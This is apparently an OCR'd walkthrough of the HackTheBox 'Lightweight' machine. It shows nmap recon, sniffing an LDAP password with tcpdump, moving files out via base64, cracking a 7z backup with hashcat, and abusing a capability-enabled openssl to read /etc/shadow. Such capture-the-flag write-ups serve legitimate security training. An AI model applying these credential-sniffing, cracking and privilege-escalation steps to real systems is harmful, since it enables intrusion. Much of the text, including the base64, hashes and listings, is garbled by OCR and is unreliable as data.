HackTheBox — Lightweight

Lightweight

# Linux

Medium

Summary

* Authenticated against SSH using credentials generated via webserver.
* Captured an LDAP authentication request via TCPDump, revealing the password for
ldapuser?2.

* Discovered plain text password for ldapuser1 in backup.7z, this file was password protected
but easily cracked.

* Ldapuserl could run openssl with all permissions, this was used to create a new user with
root permissions.
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Recon

I began by adding 10.10.10.119 to /etc/hosts as lightweight.htb.
This was followed up by port scans, only revealing SSH, HTTP and LDAP running.

$ sudo nmap lightweight.htb -T5
Starting Hmap ? 80 ( https://nmap.org ) at 2020-11-83 ©9:37 EST
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (2.017s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
389/tcp open 1ldap

Nmap done: 1 IP address (1 host up) scanned in 4.28 seconds
$ sudo nmap lightweight.htb -p- -T5
Starting Nmap ? 80 ( https://nmap.org ) at 2020-11-03 @9:37 EST
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (0.018s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
389/tcp open 1ldap

Nmap done: 1 IP address (1 host up) scanned in 83.49 seconds

# Nmap 7.80 scan initiated Tue Nov 3 09:41:00 2020 as: nmap -sV -sC -p22,80,389 -oN nmap.txt lightweight.htb
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (0.014s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 7.4 (protocol 2.0)

| ssh-hostkey:

| 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:€9:2b:73 (RSA)

| 256 88:58:al:cf:38:cd:2e:15:1d:2c: 6:a3:57:67 (ECDSA)

_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)

80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-title: Lightweight slider evaluation page - slendr

389/tcp open ldap OpenLDAP 2.2.X - 2.3.X

| ssl-cert: Subject: commonName=lightweight.htb

| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
| Not valid before: 2018-06-09T13:32:51

|_Not valid after: 2019-06-09T13:32:51

_ssl-date: TLS randomness does not represent time
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Visiting the webserver reveals the following page.

@ lightweight.htb

This site is protected by against
bruteforging.

info status user

Info.php explains that bruteforcing will lead to an IP ban.

© lightweight.htb

Info

As part of our S e heed to valid
Real pages have been re oF:

> banned up to 5 minutes.

1ed P
If you like to get in the b

home info

User.php explains that a system account named as the visitors IP address will be made accessible
via SSH within 1 minute of the first HTTP request.

it carefully.

12 minute of your first htt e request. W nge your

unt will be deleted and added a . Any file in your home directory will be deleted too.

home info
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FootHold

I successfully authenticated against SSH by using a username password combination of my IP
address. This however only provides an extremely restricted environment.

$ ssh 10.10.14.12@lightweight.htb

10.10.14.12@lightweight.htb's password:

[10.10.14.12@lightweight ~]$ whoami; hostname; id

10.10.14.12

lightweight.htb

uid=1003(10.10.14.12) gid=1003(10.10.14.12) groups=1003(10.10.14.12) context=unconfined_u:unconfined_r:unconfined_t:s@-s0:c@.c1023
[10.10.14.12@lightweight ~1$ O

Privilege Escalation — User: ldapuser2

Using getcap to enumerate for any binaries that my user might have permissions to use nets
tcpdump, allowing non root users to access raw packet information.

[10.10.14.12@lightweight ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep

/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
Jusr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep

I used this capture none arp packets on the loopback interface, saving the output to out.pcap. After a
short wait I converted this file to base64 to transfer across to my machine for analysis.

[10.10.14.12@1ightweight ~]$ tcpdump -i lo -w out.pcap -n not arp

tcpdump: listening on lo, link-type EN1@MB (Ethernet), capture size 262144 bytes
*C22 packets captured

44 packets received by filter

@ packets dropped by kernel

[10.10.14.12@lightweight ~]$ cat out.pcap | base64

1MOyoQIABAAAAAAAAAAAAAAABAABAAAAZNShX601 BgBKAAAASZAAAAAAAAAAAAAAAAAAAAGARQAA
PLogQABAB1eaCgoKdwoKCnfLtgGF3fM+1QAAAACZAqqqKTAAAATE /9 cEAggKABY E9QAAAAABAWMG
ZnShX+01BgBKAAAASZAAAAAAAAAAAAAAAAAAAAZARQAAPAAAQABABhG7 CgoKdwoKCncBhcu2gaqQ
Ed3zPtagEqqqKTAAAATE/9cEAgEKABYE9QAChPUBAWMGZNShXwWGmBEBCAAAAQZAAAAAAAAAAAAAA
AAAAAAgARQAANLohQABAB1ehCgoKdwoKCnfLtgGF3fM+10GqkBKAEAKrKSgAAAEBCAOAHI T1ABYE
IZO0V-+MPEYANQAAAJOAAAAAARAARAAAAAARAAATAEUAAL +6 TKAAQAZXRQOKCNCKCgp3y 7 YBhd32
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I decoded the base64 on my machine and directed the output to out.pcap.

$ echo "1MOyoQIABAAAAAAAAAAAAAAABAABAAAAZNShX601BZBKAAAASE

AAAZARQAA
PLogQABAB1eaCgoKdwoKCnfLtgGF3 fM+10AAAACEAqqqKTAAAATE /9cEAgEKABY ESQAAAAABAWMG
ZnShX+01BgBKAAAASZAAAAAAAAAAAAAAAAAAAAZARQAAPAAAQABABhG7 CgoKdwoKCnecBheu2gaqQ
Ed3zPtagEqqqKTAAAATE/9 cEAggKABYE9QAChPUBAWMGZNShXwGMBZBCAAAAQZAAAAAAAAAAAAAA
AAAAAAZARQAANLohQABABLehCgoKdwoKCnfLtgGF3 fM+10GqkBKAEAKrKSZAAAEBCAOAHITIABYE
SWZ0oV+MpgYANQAAAJOAAAAAAAAAAAAAAAAAAAATAEUAAT+6TKAAQAZXRQoKCNCKCEp3y7YBhd3z
PtaBqpASgBgCqymDAAABAQEKABYES gAchPUWWQT BAWBUAGEDBC11aWQ9bGRhcHVZZXTyLGS1PVEL
b3BsZSxkYzlsaWdodHdlaWdodCxkYz1o0dGKAIDhiYzgyNTEzMz JhYmUxZDdmMTALZDNINTNhZDMS
YWMyZnShX5qmBgBCAAAAQEAAAAAAAAAAAAAAAAAAAAGARQAANBTNQABABYZbCgoKdwoKCncBheu2
gaqQEt3zPzGAEAKrKSgAAAEBCAOAHIT2ZABYEIMZ @0V // 7QYAUAABAFAAAAAAAAAAAAAAAAAAAAAT
AEUAAETUBEAAQAb8ZA0KCN cKCgp3AYXL t oGqkBLIBZ8xgBgCqyk 2 AAABAQEKABY FCAAChPYWDATB
AWEHCgEABAAEAGZO0VBNTgYAQEAAAETAAAAAAAAAAAAAAAAAAAATAEUAADSEIQAAQAZX nWoKCNCK
Cgp3y7YBhd3zPzGBqpAggBACqykoAAABAQEKABY FCAAChQhmdKFfaQTHAEKAAABIAAAAAAAAAAAA
AAAAAAAACABFAAATuiRAAEAGYS5cKCgp3CgoKd8u2AYXd82z8xgaqQITAYAGspLWAAAQE ICgAChQDA
HIUIMAUCAQJICAGZ@oV+CAgCcAQEAAAETAAAAAAAAAAAAAAAAAAAATAEUAADSEIVAAQAZXNQoKCNCK
Cgp3y7YBhd3zPziBqpAggBECqykoAAABAQZKABY FDQAChQhmdKF FKWQHAETAAABCAAAAAAAAAAAA
AAAAAAAACABFAAAOFOLAAEAG/NKKCgp3CgoKdwGFy7aBqpAg3 fM/OYARAGS pKAAAAQEICGAChQ4A
HIUNZnShXzwEBWBCAAAAQEAAAAAAAAAAAAAAAAAAAAZARQAANLOMQABABLecCgoKdwoKCnfLtgGF
3fM/0YGgkCGAEAKrKSgAAAEBCAOAHIUOABY FDpJ@oV9ayAYASgAAAE0AAAAAAAAAAAAAAAAAAAAT
AEUAADZdTKAAQAYBbAOKCNcKCgp3y7gBhehF7ZAAAAAADAKGQikwAAACBP/XBATICgAdMNAAAAAA
AQMDBpJ0oV+FyAYASEAAAEOAAAAAAAAAAAAAAAAAAAATAEUAADWAAEAAQAYRUWOKCNCKCEP3AYXL
uPIgmozoRe2RoBKqqikwAAACBP/XBAIICZAdMNA4AHTDeAQMDBpIRoV+CyAYAQEAAAETAAAAAAAAA
AAAAAAAAAAATAEUAADTATOAAQAYOcwoKCncKCgp3y7gBhehF7ZHy I IgNgBACqykoAAABAQZKABOW
3gAdMNESAKFf4cgGAJOAAACAAAAAAAAAAAAAAAAAAAAACABFAACP3VBAAEAGNBCKCgp3CgoKdBusL
AYXoRe2R81CajYAYAqSpEwAAAQEICgAdMNLAHTDeMFKCAQFgVATIBAWQtdWLKPWXKYXB1c2VyMixv
dT1QZWowbGUsZGM9bGLnaHR3ZWLnaHQs ZGM9aHR1 gCALYmMAM jUxMzMy YWILMWQ3 Z jEWNWQzZTUz
YWQzOWF jMpJBoV/syAYAQEAAAETAAAAAAARAAAAAAAAAAAATAEUAADSqQUOAAQAZNbwoKCNCKCgp3
AYXLuPIgmo3oRe3sgBACqykoAAABAQEeKABOW3gAdMNGSAKFfLACHAFAAAABQAAAAAAAAAAAAAAAA
AAAACABFAABCQLRAAEAGZ2AKCgp3CgoKdwGFy7 jyT JqNGEXt7 TAYAqspNgAAAQET CgAdMOLAHTDe
MAwWCAQFhBwoBAAQABACSAKF fOQCcHAETAAABCAAAAAAAAAAAAAAAAAAAACABFAAAGIVFAAEAGNHEK
Cgp3CgokKdBusAYXoRe3s8iCamsAQAqspKAAAAQETCgAdMO4AAHTDUknShX4 EUBWEB JAAAASQAAAAAA
AAAAAAAAAAAAAASARQAAD9ISQABAE JRpCgoKdwoKCn fLUAGFBEXt7PIgmpuAGAKrKSSAAAEBCADA
HTDyABOwW7 JAFAgECQECSAKFf1xQHAETAAABCAAAAAAAAAAAAAAAAAAAACABFAAAD3VNAAEAGNGBK
Cgp3CgokKdBusAYXoRe3z8iCamsARAGSpKAAAAQEICZAAMPIAHTDuUknShX5 cWBWBCAAAAQZAAAAAA
AAAAAAAAAAAAAAZARQAANKpPVQABABmdtCgoKdwoKCncBheub8iCam+hF7 fSAEQKrKSgAAAEBCADA
HTDyABBw8pJBoV+nFgcAQgAAAETAAAAAAAAAAAAAAAAAAAATAEUAADTAVEAAQAY@bgoKCncKCgp3
y7gBhehF7fTyIJqcgBACqykoAAABAQEKABOWEgAdMPI=" | baseb4 -d > out.pcap
: $ file out.pcap
out.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

VW W WV W W VWV VYV Y VY VYV VY VYV VYV VY VYV VYV VY VY VY Y VY YWY

Opening the pcap file in wireshark reveals several LDAP packets.

- L e B = B [=| =
AN @B RG Qe2EFIF E QaQaE
[Apy play filter tr
do. Time Source Destination Protocol Lengtt Info
1 0.000008 16.16.10.119 10.16.16.119 TCP 74 52158 — 389 [SYN] Seq=0 Win=43690 Len=0 MS5=65495 SACK_PERM=1..
2 D.000064 10.10.18.119 10.16.18.119 TCP 74 389 -~ 52150 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 M55=65495 ..
3 0.000094 10.16.10.119 10.10.10.119 TCP 66 52150 —~ 389 [ACK] Seq=1 Ack=1 Win=43712 Len=0 T5val=1869045 T..
40, 19 157 bindRequest(1) "uid=ldapuser2, ou=People,dc=lightweight, dc=htb..
5 0.000247 10.16.108.119 10.16.10.119 TCP 66 389 — 52150 [ACK] Seq=1 Ack=92 Win=43712 Len=0 TSval=1869846 ..
6 0.818524 10.16.10.119 10.16.16.119 LDAP 80 bindResponse(1) success
7 0.018538 10.16.108.119 10.16.10.119 TCP 66 52150 — 389 [ACK] Seq=92 Ack=15 Win=43712 Len=0 TSval=1869864..
8 0.823750 10.16.10.119 10.10.16.119 LDAP 73 unbindRequest(2)
9 0.823775 10.16.18.119 10.16.18.119 TCP 66 52156 — 389 [FIN, ACK] Seq=99 Ack=15 Win=43712 Len=0 TSval=18.
10 0.024200 10.10.10.119 10.10.16.119 TCcP 66 389 — 52150 [FIN, ACK] Seq=15 Ack=180 Win=43712 Len=0 TSval=1..
11 0.824217 10.10.108.119 10.16.10.119 TCP 66 521568 — 389 [ACK] Seq=188 Ack=16 Win=43712 Len=0 TSval=1B6907..
12 44.008887 10.16.18.119 10.16.18.119 TCP 74 52152 — 389 [SYN] Seq=0 Win=43698 Len=0 M55=65495 SACK_PERM=1..
13 44.008930 10.10.10.119 10.10.16.119 TCP 74 389 — 52152 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MS5=65495 ..
14 44.008953 10.16.108.119 10.16.10.119 TCP 66 52152 — 389 [ACK] Seqg=1 Ack=1 Win=43712 Len=08 TSval=1913854 T.
15 44.009022 16.16.16.119 10.10.16.119 LDAP 157 bindRequest(1) "uid=ldapuser?2, ou=People, dc=lightweight, dc=htb..
16 44.009033 10.16.108.119 10.16.10.119 TCP 66 389 — 52152 [ACK] Seq=1 Ack=92 Win=43712 Len=0 TSval=1913854 ..
17 44.024969 10.16.108.119 10.16.10.119 LDAP 80 bindResponse(l1) success
18 44.924982 10.16.108.119 10.16.10.119 TCP 66 52152 — 389 [ACK] Seq=92 Ack=15 Win=43712 Len=0 TSval=1913@70..
19 44.928382 10.10.108.119 10.16.10.119 LDAP 73 unbindRequest(2)
20 44.028404 16.16.18.119 10.16.16.119 TCP 66 52152 — 389 [FIN, ACK] Seq=99 Ack=15 Win=43712 Len=8 TSval=19..
21 44.028916 10.10.18.119 10.16.18.119 TCP 66 389 — 52152 [FIN, ACK] Seq=15 Ack=100 Win=43712 Len=0 TSval=1..
22 44.028932 10.10.10.119 10.10.10.119 TCP 66 52152 —~ 389 [ACK] Seq=100@ Ack=16 Win=43712 Len=0 TSval=191307..
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Following the TCP stream for these packets reveals ldapuser2 logging in, displaying their password
in plain text.

Wireshark - Follow TCP Stream (tcp.stream eq 0) - out.pcap

BbcB8251332abeld7T105d3e53ad39ac? NN

. -uid=1dapuser2, ou=People, dc=1ightweight, dc=htb.

This password was successfully used to su to the user - Idapuser2

[10.10.14.12@lightweight ~]$ su - ldapuser2

Password:

Last login: Fri Nov 16 22:41:31 GMT 2018 on pts/@

[1dapuser2alightweight ~]$ whoami; hostname; id; cat user.txt

ldapuser2

lightweight.htb

uid=1001(1ldapuser2?) gid=1001(ldapuser2) groups=1001(ldapuser2) context=unconfined_u:unconfined_r:unconfined_t:s@-s0
:ch.c1e23

8a866d3bb7e13a57aaeb110297 48026

Privilege Escalation — User: ldapuserl

In ldapuser1's home directory there is an interesting file — backup.7z, I used base64 to transfer this
to my machine.

[ldapuser2@lightweight ~]1$ 1s -la
total 188@

drwxr-xr-x.
-rw-r—r-—.

-rW-r—r—.
-rW-r—r—.
-TW-r—r—.
drwxrwxr-x.

drwxrwxr-x.
-rw-rw-r—.
-rW-rw-r—.

-IW-T—T—.
[ldapuser2@lightweight ~]$ cat backup.7z | base6s

ldapuser2
root

root

ldapuser2
ldapuser2
ldapuser2
ldapuser2
ldapuser2
ldapuser2
ldapuser2
ldapuser2
root

ldapuser2
root

root

ldapuserz2
ldapuser2
ldapuser2
ldapuser2
ldapuser2?
ldapuser2

197
77
3411
8

18
193
246
18
18

ldapuser2 1528538
ldapuser2 379983

root

33

Jun
Nov
Jun
Jun
Apr
Apr
Jun
Jun
Jun
Jun
Jun
Jun

21

3
14
21
11
11
15
11
11
13
13
15

2018 .
14:48
2018
2018
2018
2018
2018

backup.7z

.bash_history
.bash_logout
.bash_profile

.bashrc

2018 .cache

2018 .config

2018 OpenlLDAP-Admin-Guide.pdf
2018 OpenlLdap.pdf

2018 user.txt

N3gq8ryccAAQmbxM1EADAAAAAAAAJAAAAAAAAATSS6DPe1KZKLpgLlx2xZ2BYNOBO7 /Z1c4CzOMOpB

13/018X2vz7500nwbpjaNEbdpT3wg/EZAoUuSypOMuUCwW8Sszr@DTUbIUDWIM2x09ZuHIL6NVFLVuU

yJO6aEHWUMGK@hBZ0511MHuY236FPj6/vvaFYDlkemrTOmP1smj8ADwWS66BENhL7 /cyZP+Mj9u008

yU?gBﬁfqy?nﬂhTZmPﬂIrlxRU1QdS+E5n+55Ez?bREFCqTJNHlGCYWbHBJDZhdFdrgnHSF+551cd
FGXPS ]
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Attempting to unzip the file we are asked for a password, attempting the user accounts password is
unsuccessful.

$ 7z x backup.7z

7-Zip [64] 16.82 : Copyright (c) 1999-20616 Igor Pavlov : 2016-05-21
p7zip Version 16.82 (locale=en_US.utf8,Utfl6=on,HugeFiles=on,64 bits,& CPUs
z (9BBREA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)

Extracting archive: backup.7z

Path = backup.7z

Type = 7z

Physical Size = 3411
Headers Size = 259
Method = LZMAZ:12k TzAES
Solid =

Blocks = 1

Enter

ERROR:
ERROR:
ERROR:
ERROR:
ERROR:

password (will
Data Error 1in
Data Error 1in
Data Error 1in
Data Error 1in
Data Error 1in

not be echoed):
encrypted file.
encrypted file.
encrypted file.
encrypted file.
encrypted file.

Wrong password? :
Wrong password? :
Wrong password? :
Wrong password? :
Wrong password? :

index.php
info.php
reset.php
status.php
user.php

Sub items Errors: 5

Archives with Errors:

Sub items Errors: 5

I used 7z2john.pl to convert the file to a hash that could be cracked and directed the output to
backup.hash. In order for the hash to be recognized backup.7z: needed to be removed from the
beginning of the file.

: $ locate 7z2john
J/usr/share/doc/john/README. 722 john.md
fusrfsharefjohnf?szohn.pl
$ /usr/share/john/7z2john.pl backup.7z > backup.hash
$ head -c 50 backup. hash

backup.7z: $?z$2$19$ﬁ$$3$11E95baﬁﬁﬁe3925dﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁ - $
$ vi backup.hash
$ head -c 50 backup. hash
$?z$2$19$ﬂ$$8$11e?ﬁhaﬂﬂEEB925dﬂﬂﬂﬂﬁﬁﬂﬂﬁﬂﬂﬂﬂﬂﬂﬁ$lﬁﬁ
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Using hashcat -m 11600 against the file with the rockyou.txt wordlist successfully cracked the
password and revealed it as delete.

$ hashcat -m 11600 backup.hash /usr/share/wordlists/rockyou.txt —force —show

$?z$2$19$ﬁ$$8$lle96ba499&3926dﬁﬁﬁﬁﬂﬂﬂﬂﬂﬁﬁﬁﬁﬂﬂﬁ$1899843918$3152$314ﬂ$1edﬂa64a2e9a8bc?6c59d8160d3bc3bbfd995ce02cF4359341949FF4
d745f6bf3ed238e9f06e98da3446dda53dfeabf11902852e4b2ake32e0b@f12b33af40d351b2140d6266db1la3d66el1c82fa9d516556ec893bab841f05261
8ad210593b9975307b98db7e853e3ebfbef6856039647a6ad33a63f5b268fc@03c39ebadsstB8ibeff73264ff8cB8fdb8e3becc94eecldf4feacbba388536663F
8febB8b1454890752fbaka7fbat84cfd6d1d@50aab233478a2¢c425566d60630d985d15dae@9c7485192ea271d2087ac837b6f9101465cf4a62b0ee2252458
71655blaal6526a2a5d61ab942d141890@fec9das5771da34ch8bf56ec7f@5a75cf26a0202a7065b8b020769d244d95e3166Fdb9f4557324e090307e91be?
adc7f56f5215ffd1463c7403c5725chbfO06b468B2439d629al14d4ale25Fafb202alcfbac837eabf002f7ebfc87F20c67ff847c393a54e5724c29840016Ta
76beddfbb73a79fb2ec3f@e9c7b246525acad50d76c3fe31d75004e5bc3e93ce79aab2ddbe91c7ce9666503e3ab8dcaf269d4554baee5276c516d23fabfs
1610ff4fe66ad5cf9dcbdc3bed7elc@a2767f@18ca3cdl5a35alfbefcest79b649a5db00263b55c470fcb049327e7aeb84935%a74a2444deT7a3c@25b3a9db
fd597e@cdf642c340982b650d69f2c48b1e6b823b460734F3¢c6f3c1e3917b6780b0efdablce5b7d03d55ff1fakal61b9aa876b7498c8104f28cabec6c629d
6ca47c18e54bb237b62bd813d1cd47fdcd87b9597ddf14aecst39185f8b892dedbsbcae949dbab74d72cd45dda311e0f38f219a1887bede5ec6697a8abof5s
cec687e18fd6ef2223015a3d717830f0affo664e66ed51d185e965b55ce702135eb57f5efca251238f8e66F828c3d28d961dde9f244e735419273700e5¢ce
97b4fa%ee3d5b45f8b81c9d5af1436e70f75dc9657354807bcadcdcfle4f9432b29d55c21b59de59c933d0d96b0f3b89f871c14691Faab3db3bdde5ca78f
2c470839d49690d82f5c8334d9a857af449b1cd4c140b1087f41d09fbsbbaf5f0e7228716199263599861621d0e99d9d649ad863d9%adabsba@6@ef19bl
8a3dc2ch4815401867c852eal7b@1a5¢551249cef2a234a1d0a91be@47e@6678a35ebe7256cca979159@8bbfc37ee200d173f1c87a585003920Ff52fc38f7
4da83c18284dbf171eda45fb@cba8d3ed@9fc9d9e951ff95ae8b3326eckd2cfbeaaca2890464a424f79718f044b6b7903c0f512744332F615F81e7a965df
81f78ae950b98df910660b4c85bbee5b6b9bsebP61868530d1dee292296ac18e0f3081048834129583b2a7fa88573039ec01657642450688464a2e9dbobf
9483d105875a30d855febcb57a81ce5242a2a99887bdc1c786b57916bB3akd3cdddec1a®a8f94e6d9926ebf534a5b28fc4abtel6956941a5eb8718dbeca21d
9464a4a970b77a5967483f1373c4dc@4967b16164d9d9ef6824acfcb63e20913234712b7abbc82f562aea65ef39d2bef6608d887cd5ff67966967a568a3d
c21f28ad393d2ab3ca85ff7b87eebd97f80d878e616121bb94020c6fbB8OFf3780c41dba3bickc3fceeba9748f4d9a4T7d3454b491b95bafddefdO4afc8b192
2e4aB7534539d391fb948b59fcc1f5072cPaf3c29afbbec26e2dfd7fcbd4e3a19fdb37cd49342becT7ec7526b6594295b341fe6ala2a5f399%eadade6dcb84d
87fd3bepa9b79ef6c1lcc@1f5958a43fbdd2602ebl@bbiddaa327ac@43ee@lcs70d3ed2519488e80183043141968F32283577¢cb5615de2416fcb9a74blce2
82614f818bc5adef@cbldd6eb98d74a8d8214ec2a361b246bad656b487e8dcetdf4fef808adB818c06ef5a972e2614e51e6b040F491a92FF39d55408cf92¢c
cc@f797f27d8c1f7c5004b5613a660b6f306basts7bb99bbe5a408d00eb2dd4127351097F20429d277a5eb97330a3d3409c7e097a18639542b1c9%efe35eda
1b12c1346bcB8816a0430F5668a38735567ba@9580504de831bb639ablde7d2afcf2e470cbded2960f3300aca88446ccfBfa27715666e4ebt5fe5d6aTakbe
414d61e5fbbfd384c53e8bac6805083164332c2bd79d05¢c4d10436377a35b8402e186efd8959131437840c7b010d7ce74423e08bea8B639414dbd@c290ce
d5bb1adf597b7a76141cc15d3d3054bccse9df234bes187725576645e86eBcfb9b7769a8cdefbec5b08d4fedadbte8fd437631e181ac89deec9c54105a327
76a2cb8fB68177aabc375359e5b38aekeb8cebfR668f5d104a5¢5929c890c7d1de0694063943b844cd8f274b6Ff6bcbed@4b3fe54252905200e5b024a0249
8a1f767758e910516c7c295a552802e47d699cdd98adead7bd4f53f745342b990067339b%aRa2ablcbea2c@210961b96c7c22b2daaa322de7fddc91527d1
18c45d4a2a@8a2c37a85a7b665absba625b983019085b32096c78edB8a760c83fbf6c5811b7b16681b0a61513686d6810c72d@f1c30b792b1948a478ad660
a4@36fcd5dbfc57b352a22a4ed27daf1f8455aa9d81a5b8b28287 feas342c14bd42cf3159c830d322d166958a6e233ca7b9dd2914fcelf2621f95998e83d
f69bee22f70ae@86f242690631fcd33730bb2e5adb4fa7dOb7b93931957311eeaa9b45382d020e85856e456712da51a9¢c220226d2a177e758ea6b7631647
cc8419de4fbeb5dabs@aBslba9d5660a550ac817af679f3¢c1a266b9c657372988ab38cfb6971695¢c59b5454fdf7cal170066b99c06c985fb8564eedicaad
e040ef9320d5198041a2bfc62bib21eb080520628ed3c8c8a2ffd8e@@73b24c2059815da86f1b682622e714124950FF26ad79bf31897331fc23cd@75fb1f
4822046273b0898bebc1ba23110d74ed459c0c@f12488f0b51310f59c9dae537cdda5a75d48akac544531fba92fd6dbaa@18cb3cch9eesb9859f3faled22
d4858bfd995afa9d7027378908415955a30df3cf7de7f45c2601feleePadbec89dbbdlaa23badcdfec9d95e2bfd6f102c92bd1fb9648f446a98ab16302049
f6862a0dalc758d0f0a7763e9ac@cdda94beds7f98103f8e@68cd12bc83bb9a2bd2be19593d64a2f1034cdad6fbeet98488a5b37efebefeb67393cf91c1a
4d00B82eaB463d57e691a0fb3b2394090dabe@bbe@d27b418b0db0171da74b6d314b78d951ec5ec87eff81800a0f41bb5eb01d5d116183667e1762c4aldl
9631cP5ablelbedf@5e5188da27df1a0d8697119fbe29693d776ce50c7896a3bc52888ebdcecd56a4d7e675af2eaBde25f52e0470e053dd6614b3548adec
d282a76d397b7e2fedc98d975003bd29feebc53ee5b412088599ac203cb8bbbel1f3a0414511391b3495d175b3dfda7990753255ff@f13eb86ce97b5¢6925
aa31868523c325548720179c69ePe8df8407f5e87F263acd@24cc5c4f5a75ef7a6fcla3b650257fca20aa@@674f35a07dac72471bbb500152b51dfel743b
797ad61110aa76b9fe69cPa2506basta6fcObta2B2efb9d88dfba38e5b5352046022cc17b57bdb40153db6b97e2f344d2c4598c0d021044eeb01423F6F6a
de5702e10b63782fedddbaebaldd9f9725eb3f85584fce2319b24851d7ec3ba2c2774741683b383ec97aadb7c912d655b6e5b147c33bb1856623b8cad8fo
92c@677d56e1dde99aa31ab30ab54c57828536a120bses835¢cabc7b5a2243bddfb9a@0750521c74654a281cb12c806437030cd577907a797dc63a3959d47
b68119a32a229899be@6b7979c14b2c98e75667b8c5d30f0dfedd9553ba89%4ad9acdab2f7f687bb35c080c3a440108ac0cest5f1873c5873488F2901790b0
8cb4928932a1c479d89ded5f6ce9f16c297e9dcc33c6b882b26c53b7a4f2b390367e36e384c1eb9805c0471aads4f77496e8F4fd447448dd59536629a645d
04956fc38bcc686718e8d4d7cfc9ecbef3745af@38de55826d328b7bad4éa2eb7al10faf@9c0618fd90d1941e8e3274becdbeb2d8bed430ebfe6e8682b60390
d79161f3a349c73de552d40f7421e5¢c4bsdeB80feb3998ebbcebecaefobd2768e8be6534cd12ac163e70d3ed23963801c04770610c91f1ffcficbdf2a733f
51e6fd596c855c0b905822a3838a82ea2d0e51dd442c451d@5c6aalb@B99883db543927cOcctP16e27bblb17fe863aefc18458edbeccddb6b15f0b73c3dc8e
672c1bbbd81f290e9bb5291192143945d58757 f64eceebd88e467d48b54a25¢cee7ed75263a4bb5d5597b9b5b75b6c254181871F18246d2d91f664a@f49¢c1
f67940d792d225272e713259f3135e5¢286e081b1e2331f9217del1c@c9109d7a898458be85a4c130eabe8c@dbsdc5dbf77da5045f7dab47c66e5af5676bb
15221d5152da551a9390fda92e3539fde7afbd@4e2e710ef28b5d5e50f2fdac106c9a18ef02414fb466f50Ff52b6eB88e336ffetfa929d9548630Ff3d7fb7d5
ﬂea59Bb2e3bdc3aSSc‘F9d?‘Fﬁb3ﬂfﬂ?d28ddf28c15c53?leb$4218$ﬂ3:
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Attempting to unzip the file using this password was successful.

$ 7z x backup.7z

7-Zip [64] 16.82 : Copyright (c) 1999-2016 Igor Pavlov :
p7zip Version 16.82 (locale=en_US.utf8,Utfl6=on,HugeFiles
,ASM,AES-NI)

Scanning the drive for archives:
1 file, 3411 bytes (& KiB)

Extracting archive: backup.7z

= backup.7z
Type = 7z
Physical S5ize = 3411
Headers 5ize = 259
Method = LZMAZ2:12k 7zAES
Solid = +
Blocks = 1

Enter password (will not be echoed):
Everything is 0Ok

Files: 5
Size: 108278
Compressed: 3411
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From the unzipped files — status.php reveals a hard-coded password for the user — ldapuser1.

: $ 1s
index.php 1info.php reset.php status.php user.php

- $ cat status.php
<!DOCTYPE html>
<html lang="en" >

<?php $ip=$_SERVER[ 'REMOTE_ADDR'];?>

<head>
<meta charset="UTF-8">
<titlerLightweight slider evaluation page - slendr</title:
<meta name="viewport" content="width=device-width, 1nitial-sca
<link rel="stylesheet” href="https://cdnjs.cloudflare.com/ajax
<link rel='stylesheet prefetch' href="https://fonts.googleapig
<link rel='stylesheet prefetch' href='https://cdnjs.cloudflarg
<link rel="stylesheet" href="css/style.css">

</ head>

<body>

<div class="slider-content®>
<div class="slider-box">
<hl»List of banned IPs</hil>

$username = 'ldapuserl’;

$password = 'f3ica9d2?98a553dall7442deebbfa®932d’;
$ldapconfig['host’'] = 'lightweight.htb';
$ldapconfig['port'] = '389';

$ldapconfig['basedn'] = 'dc=lightweight,dc=htb’;
//$ldapconfig['usersdn'] = 'cn=users';
$ds=1dap_connect($ldapconfig['host'], $ldapconfig['port’']);
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
ldap_set_option($ds, LDAP_OPT_NETWORK_TIMEOUT, 10);

Using this password to su to the user is successful.

[ldapuser2alightweight ~]$ su - ldapuseri
Password:
[1dapuseri@lightweight ~]$ whoami; hostname; id

ldapuserl

lightweight.htb

uid=1000(ldapuserl) gid=1080(1ldapuserl) groups=1008(ldapuserl) context=unconfined_u:unconfined_r:unconfine
g 0:c0.c10

]
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Privilege Escalation - Root

Using getcap against ldapuser1 reveals an openssl binary in their home directory with all
permissions.

[ldapuseri@lightweight ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep

/usr/sbin/suexec = cap_setgid,cap_setuid+ep

/usr/sbin/arping = cap_net_raw+p

/usr/sbin/clockdiff = cap_net_raw+p

/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/1ldapuserl/tcpdump = cap_net_admin,cap_net_raw+ep
/home/1ldapuserl/openssl =ep

As the openssl binary located in /bin is on the users path, we will have to specify that the version in
their home directory is the one that we want to use.

[ldapuseri@lightweight ~]$% which openssl

/bin/openssl

[ldapuseri@glightweight ~]$ echo $PATH

fusr/local/bin:/bin:/usr/bin: /usr/local/sbin:/usr/sbin:/home/1ldapuseri/.local/bin: /home/1dapuseri/bin

We can abuse openssl to read/write files, this is confirmed by reading /etc/shadow.

